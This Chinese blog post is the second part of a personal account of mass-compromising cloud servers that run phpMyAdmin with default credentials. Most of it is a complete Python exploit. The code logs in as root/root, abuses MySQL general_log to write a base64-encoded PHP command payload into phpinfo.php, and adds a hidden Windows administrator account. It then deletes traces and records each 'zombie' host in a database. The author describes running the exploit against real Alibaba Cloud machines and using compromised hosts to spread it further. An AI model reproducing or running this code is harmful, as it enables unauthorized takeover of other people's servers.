我在云上批量抓鸡的故事(下)–写EXP干就完事了!

我在云上批量抓鸡的故事(下)–写EXP干就完事了!

这篇文章一年之前就写好了,但是一直在我草稿箱中不敢发出来,当时我数据库中全是肉鸡,慌得一批,这篇文章发出来又怕被不怀好意的人给利用,所以放了这么久。现在重新看了全文,文中的有些部分有些改动。这篇是上一篇文章的技术分析过程。之前一直都是通过手动渗透,在分析完原理后,我就将整个流程写成了自动化脚本。

因为在之前的文章中我有分析过如何渗透提权的过程,所以在这里我就不赘述了。直接分析如何编写exp。首先分析phpmyadmin的登录流程。这里我就随便找个后台演示。

这个是我们直接访问phpmyadmin登录页面的url得到的页面。此时我们随便输入一个密码来走一遍这个登录流程。至于用分析需要post哪些字段很简单,我就不在这里演示了。

所以要想完成登录这个过程,脚本中就必须拿到token值,最简单的办法就是通过正则匹配。写一个login函数来实现。这里这展示部分代码,完整的exp代码会在最后给出。

def login():
    url = 'http://肉鸡/phpmyadmin/index.php'
    s = requests.Session()
    r0 = s.get(url, timeout=2)
    token = re.search('value="[a-z0-9]{32}"', r0.text).group()[7:-1]
    payload = {'pma_username': 'root', 'pma_password': 'root', 'server': '1', 'lang': 'zh_CN','token':token}
    r1 = s.post(url,data=payload)
    if 'name="login_form"' not in r1.text:
        print('使用默认密码登录成功!')
    else:
        print('登录失败!')

解释一下是如何判断出的登录成功或失败的。在post数据过去之后,都会做一个302的跳转。如果登录成功就是phpmyadmin的后台管理页面了,失败则还是跳转到首页。我们可以将name=”login_form”这个字符串是否存在作为判断依据。

现在默认我们已经实现脚本模拟登录phpmyadmin的这个功能,进入到后台执行sql语句的界面。

接下来就是分析的重点了,我们要通过脚本来执行sql语句并获得返回的结果。比如执行  select @@version_compile_os  这条sql语句,是返回当前的操作系统。这里开始用burp抓包。

通过抓包的形式,主要是找出post过去的字段中那些必要的,这样可减少payload的长度。只要右侧能返回相应的数据即可。可以看到是向import.php发送的数据。

在不断删减post的字段之后,发现只有token和sql_query是必须的。那么关键字段分析的分析就完成了。

另外如何提取出SQL语句执行后得到的结果呢,也就是旁边黄色标记的win32。因为平时经常写爬虫,所以为了方便就没有用正则表达式来匹配,用Beautifulsoup来提取对应的标签。

sql_url = 'http://' + ip + '/phpmyadmin/import.php'
 
text = ['select @@datadir','SET GLOBAL general_log=ON',
        'set global general_log=off;set global general_log_file="MYSQL.log";']
 
def modle(sql_text):
    data = {'token': token, 'sql_query': sql_text}
    sql = requests.post(sql_url, data=data, cookies=cookies)
    soup = BeautifulSoup(sql.text, 'lxml')
    tag = soup.find_all('td')
    for i in tag:
        if i.string:
            print(i.string)
            result = i.string
            return result

我写了一个modle函数来说实现,因为后面需要提权,所以要执行的SQL语句肯定不止一条。其中传入的形参sql_text就是要执行的sql语句。

所以我把要执行的sql语句都放到了一个text的列表里面,根据索引值来执行对应的SQL语句。执行后得到的结果是以表格的形式返回的。所以我们用直接提取td标签,再把td标签的内容取出来即可。这样就完成了exp中模拟执行SQL语句的部分了。

接下来主要的部分就是提权的开始了,我们需要向文件中写入提权的命令,和写入webshell是一个意思,不过这里我们不写webshell,这样更安全,避免被云盾和安骑士查杀。但是我们需要找到当前文件的路径才行。

def get_path():
    path = modle(text[0])
    path = re.search('.*M', path).group()[:-1].replace('\\','/')+'www/phpinfo.php'
    print(path)
    return path

这里的modle(text[0])就是执行的select @@datadir 。

这里我写的是一个名为get_path的函数,因为用phpstudy的PHPmyadmin执行的这条sql语句的结果基本上都是在MySQL目录下的。但是网站的根目录实在他的上一级的www目录下的。所以我用了正则表达式来匹配到在\MySQL之前的那部分路径。

仔细观察返回的路径是用  \  来分隔的,但是我们要写入路径是用的 / ,所以用了replace来替换。其中//是为了转义,这个想必大家都明白。

但是为什么我的文件名要用phpinfo.php来代替呢,这样做是为了掩人耳目!用过phpstudy的朋友应该都清楚他的根目录结构。

我用phpinfo.php来作为载体,把提权的命令写到这个里面,这样不会写入新的文件,最后即使删掉也不会太明显。然后再把日志文件的中日志改为phpinfo.php。

def create_file():
    file_path = 'set global general_log_file ="'+ get_path()+'"'
    modle(file_path)
    print(file_path)
    modle(text[1])

接下来就是最关键的构造exp的部分了。

def random_str():
    random_str = ''.join(random.sample(string.ascii_letters, 8))
    return random_str
 
def generate_random_exp():
    user = random_str() + '$'
    pwd = random_str()
    exp = '''echo [version] > 1.inf && echo signature="$CHICAGO$" >> 1.inf && 
    echo [System Access] >> 1.inf && echo PasswordComplexity = 0 >> 1.inf && secedit 
    /configure /db temp.sdb /cfg 1.inf & net user ''' + user + ' ' + pwd + ''' /add & net 
    localgroup administrators ''' + user + ''' /add && echo GetSuccess! & del 1.inf 
    temp.sdb phpinfo.php && echo DeleteSuccess! '''
    exp_base64 = base64.b64encode(exp.encode('utf-8')).decode('utf-8')
    exp_code = '''select '<?php $str ="''' + exp_base64 + '''"; $code = base64_decode($str);echo `$code`;?>';'''
    modle(exp_code)
    return user, pwd

这里我定义了两个函数,random_str是生成随机的字符串。是用于在exp中生成用户名和密码。对于exp部分我也不想多解释了,在我之前的文章中分析过。user后面还接了一个$,就是为了生成隐藏的管理员用户名,这样只是在cmd下使用net user看不到,其实也没什么实际的用处。

当然我是对这段exp做了base64编码的,然后在构造一段php的payload,相当于解码exp,写入到php文件中用于提权。因为这段exp并不是webshell,自然也不会被云盾查杀。

def check_exp():
    url_2 = 'http://' + ip + '/phpinfo.php'
    check = requests.get(url_2)
    time.sleep(5)
    print(check.text)
    if 'if 'GetSuccess!' in check.text' in check.text:
        print('Success !!!')
        return ip
    else:
        print('Failed !')
 
def delete():
    modle(text[2])

现在就是要触发exp执行了。通过查找页面中有没有GetSuccess!这个字符串来判断提权是否成功。

下面还有一个delete的函数,就是收尾工作,因为提取成功我们就有administrator的权限了,就可以把phpinfo.php这个中间文件也删除掉,清理痕迹。

从数据库中把存在弱口令的后台导出为txt文本,供exp执行。(补充)

现在提权部分已经完成了,那么接着就是批量提权了。这里我写了一个main函数就是从我的写的另一个脚本批量扫出来存在弱口令的ip的txt文本中取出ip执行exp。然后再把这些提权成功的肉鸡再写入我的数据库中。

def main():
    db = pymysql.Connect('ip', 'user', 'pwd', 'phpmyadmin')
    cursor = db.cursor()
    ip_list =get_ip_list()
    for ip in ip_list:
        try:
            ip = ip.strip()
            url, token, cookie_1 = get_token(ip)
            print(ip)
            if len(token) != 32:
                print('token 错误!')
                continue
            cookie_2 = login(url, token, cookie_1)
            if cookie_2 is False:
                continue
            cookies = get_cookie(cookie_1, cookie_2)
            user, pwd, ip = execute_sql(token, ip, cookies)
            if user and pwd and ip:
                time_now = str(datetime.datetime.now())[:-7]
                sql = "insert into rdesktop (user,pwd,ip,time) VALUES  ('%s','%s','%s','%s')" % (user,pwd,ip,time_now)
                print(sql)
                cursor.execute(sql)
                db.commit()
            else:
                continue
        except Exception as e:
            print(e)
    db.close()

然后扔到阿里云的肉鸡的上跑就行了。差不多就是这个样子。

不过我发现一个问题,可能阿里云做了态势感知什么的,当我用一台肉鸡批量跑exp,差不多提权30左右的其他肉鸡时这个ip就自动被阿里云ban掉了。所以我就想了其他的办法。让新抓的肉鸡继续执行exp,每只肉鸡执行20次exp就让新抓的肉鸡继续执行exp,这样递归下去就不会导致被ban掉。直到跑完我数据库中的所有的ip。

完整的exp代码如下,仅供技术分享。用于非法用途,后果自负!

import re
import time
import base64
import string
import random
import pymysql
import datetime
import requests
from bs4 import BeautifulSoup
 
def get_ip_list():
    with open('ip.txt','r')as f:
        ip_list = f.readlines()
    return ip_list
 
def get_token(ip):
    url = 'http://'+ip+'/phpmyadmin/index.php'
    y = requests.get(url,timeout = 1)
    token = re.search('token=.*" t',y.text).group()[6:-3]
    cookie_1 =y.cookies
    return url,token,cookie_1
 
def login(url,token,cookie_1):
    payload = {'pma_username': 'root', 'pma_password': 'root','server':'1 ','lang':'zh_CN','token':token}
    r = requests.post(url,data=payload,cookies = cookie_1,allow_redirects=False)
    cookie_2 = r.cookies
    if 'name="login_form"' not in r.text:
        print('使用默认密码登录成功!')
        return cookie_2
    else:
        print('登录失败!')
        return False
 
def get_cookie(cookie_1,cookie_2):
    dict_1 = requests.utils.dict_from_cookiejar(cookie_1)
    dict_2 = requests.utils.dict_from_cookiejar(cookie_2)
    dict_3 = dict(dict_1,**dict_2)
    cookies = requests.utils.cookiejar_from_dict(dict_3)
    return cookies
 
def execute_sql(token,ip,cookies):
    sql_url = 'http://' + ip + '/phpmyadmin/import.php'
    text = ['select @@datadir','SET GLOBAL general_log=ON',
            'set global general_log=off;set global general_log_file="MYSQL.log";']
 
    def modle(sql_text):
        data = {'token': token, 'sql_query': sql_text}
        sql = requests.post(sql_url, data=data, cookies=cookies)
        soup = BeautifulSoup(sql.text, 'lxml')
        tag = soup.find_all('td')
        for i in tag:
            if i.string:
                print(i.string)
                result = i.string
                return result
 
    def get_path():
        path = modle(text[0])
        path = re.search('.*M', path).group()[:-1].replace('\\','/')+'www/phpinfo.php'
        print(path)
        return path
 
    def create_file():
        file_path = 'set global general_log_file ="'+ get_path()+'"'
        modle(file_path)
        print(file_path)
        modle(text[1])
 
    def random_str():
        random_str = ''.join(random.sample(string.ascii_letters, 8))
        return random_str
 
    def generate_random_exp():
        user = random_str() + '$'
        pwd = random_str()
        exp = '''echo [version] > 1.inf && echo signature="$CHICAGO$" >> 1.inf && 
        echo [System Access] >> 1.inf && echo PasswordComplexity = 0 >> 1.inf && secedit 
        /configure /db temp.sdb /cfg 1.inf & net user ''' + user+ ' ' + pwd + ''' /add & net 
        localgroup administrators ''' + user + ''' /add && echo GetSuccess! & del 1.inf 
        temp.sdb phpinfo.php && echo DeleteSuccess! '''
        exp_base64 = base64.b64encode(exp.encode('utf-8')).decode('utf-8')
        exp_code = '''select '<?php $str ="''' + exp_base64 + '''"; $code = base64_decode($str)
        ;echo `$code`;?>';'''
        modle(exp_code)
        return user, pwd
 
    def check_exp():
        url_2 = 'http://' + ip + '/phpinfo.php'
        check = requests.get(url_2)
        time.sleep(5)
        print(check.text)
        if 'GetSuccess!' in check.text:
            print('Success !!!')
            return ip
        else:
            print('Failed !')
 
    def delete():
        modle(text[2])
 
    create_file()
    user,pwd = generate_random_exp()
    if check_exp() is None:
        return False
    delete()
    return user,pwd,ip
 
def main():
    db = pymysql.Connect('ip', 'user', 'pwd', 'phpmyadmin')
    cursor = db.cursor()
    ip_list =get_ip_list()
    for ip in ip_list:
        try:
            ip = ip.strip()
            url, token, cookie_1 = get_token(ip)
            print(ip)
            if len(token) != 32:
                print('token 错误!')
                continue
            cookie_2 = login(url, token, cookie_1)
            if cookie_2 is False:
                continue
            cookies = get_cookie(cookie_1, cookie_2)
            user, pwd, ip = execute_sql(token, ip, cookies)
            if user and pwd and ip:
                time_now = str(datetime.datetime.now())[:-7]
                sql = "insert into rdesktop (user,pwd,ip,time) VALUES  ('%s','%s','%s','%s')" % (user,pwd,ip,time_now)
                print(sql)
                cursor.execute(sql)
                db.commit()
            else:
                continue
        except Exception as e:
            print(e)
    db.close()
 
if __name__=='__main__':
    main()

跑完之后,我数据库里全是肉鸡,至于肉鸡的数量有多少我就不说了。部分截图,现在这些肉鸡应该都失效了,所以才敢放图出来。(补充)

就在本地手动连了一下一些肉鸡,有的还是8核16G的,我我我…….

不过我抓了这么多肉鸡,又不敢做什么坏事,本来就是闲着无聊搞着玩的。所以就试着去能不能提交了。

在漏洞盒子上还给过了,不过阿里他们是不收的,不过我觉得也是这个道理。这本来就是不算漏洞的漏洞。本来就是弱口令导致的,是用户本身的问题。和云厂商没任何关系。

之前还在信安之路的群里讨论过。有一位大佬做了个比喻,就是你钱包被偷了,难道你还能怪是这个生产钱包厂商的问题吗?我觉得也是这样。

如果你对提权的过程不太清,请先看我的上一篇文章。

我在云上批量抓鸡的故事(上)–从webshell到远程桌面


分割线

一年之后,再看以前写的这篇文章。我最大的感受就是以前的代码怎么写的跟屎一样烂,不过还是忍住了,没有改以前的代码,还在原样贴出来的。说一下我当时的心情,看着这么多肉鸡还是有点激动的,还发了条说说。

当时甚至有人找我买这些肉鸡,一律拒绝。说实话当时很慌,毕竟我才大二上学期,要是进去了咋办,哈哈。现在想想当时想法还蛮单纯的。当时大一的暑假,闲的没事干,就手动去试那些弱口令的后台然后尝试手动提权,现在翻翻我的浏览器书签还有当时保存的一大堆链接。

 

虽然过了这么久,但是每次想起大一大二搞的这些事情还是蛮有意思的。现在看以前写的exp觉得很烂,说明也在进步吧。

赞赏

微信赞赏支付宝赞赏

Zgao

愿有一日,安全圈的师傅们都能用上Zgao写的工具。

2条评论

nobadthings 发布于5:53 下午 - 11月 15, 2021

先学学基础吧,年轻人

匿名 发布于2:22 下午 - 10月 16, 2020

我刚接触py这块,我拿了你的代码跑了一下,为啥’NoneType’ object has no attribute ‘group’一直提示这个错误,然后有些提示密码成功,我手动去尝试登陆,并不能正常登陆,大部分都会提示无法连接mysql

发表评论